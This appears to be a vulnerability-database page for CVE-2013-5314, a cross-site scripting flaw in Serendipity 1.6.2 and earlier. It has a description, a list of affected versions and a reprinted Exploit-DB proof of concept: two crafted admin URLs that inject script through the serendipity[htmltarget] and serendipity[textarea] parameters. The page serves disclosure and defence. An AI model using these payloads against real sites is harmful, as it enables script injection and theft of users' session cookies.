CVE-2013-5314
Description
Cross-site scripting (XSS) vulnerability in serendipity_admin_image_selector.php in Serendipity 1.6.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the serendipity[htmltarget] parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
S9Y Serendipity 1.6.2 - 'serendipity_admin_image_selector.php' Cross-Site Scripting
source: https://www.securityfocus.com/bid/61138/info
Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Serendipity 1.6.2 is vulnerable; other versions may also be affected.
http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117
&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| s9y | serendipity | {"endIncluding":"1.6.2"} | |
| s9y | serendipity | 0.3 | |
| s9y | serendipity | 0.4 | |
| s9y | serendipity | 0.7 | |
| s9y | serendipity | 0.7.1 | |
| s9y | serendipity | 0.8 | |
| s9y | serendipity | 0.8.1 | |
| s9y | serendipity | 0.8.2 | |
| s9y | serendipity | 0.8.3 | |
| s9y | serendipity | 0.8.4 | |
| s9y | serendipity | 0.8.5 | |
| s9y | serendipity | 0.9 | |
| s9y | serendipity | 0.9.1 | |
| s9y | serendipity | 1.0 | |
| s9y | serendipity | 1.0.1 | |
| s9y | serendipity | 1.0.2 | |
| s9y | serendipity | 1.0.3 | |
| s9y | serendipity | 1.0.4 | |
| s9y | serendipity | 1.1 | |
| s9y | serendipity | 1.1.1 | |
| s9y | serendipity | 1.1.2 | |
| s9y | serendipity | 1.1.3 | |
| s9y | serendipity | 1.1.4 | |
| s9y | serendipity | 1.2 | |
| s9y | serendipity | 1.2.1 | |
| s9y | serendipity | 1.3 | |
| s9y | serendipity | 1.3.1 | |
| s9y | serendipity | 1.4 | |
| s9y | serendipity | 1.4.1 | |
| s9y | serendipity | 1.5.1 | |
| s9y | serendipity | 1.5.2 | |
| s9y | serendipity | 1.5.3 | |
| s9y | serendipity | 1.5.4 | |
| s9y | serendipity | 1.5.5 | |
| s9y | serendipity | 1.6 | |
| s9y | serendipity | 1.6.1 | |
References
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.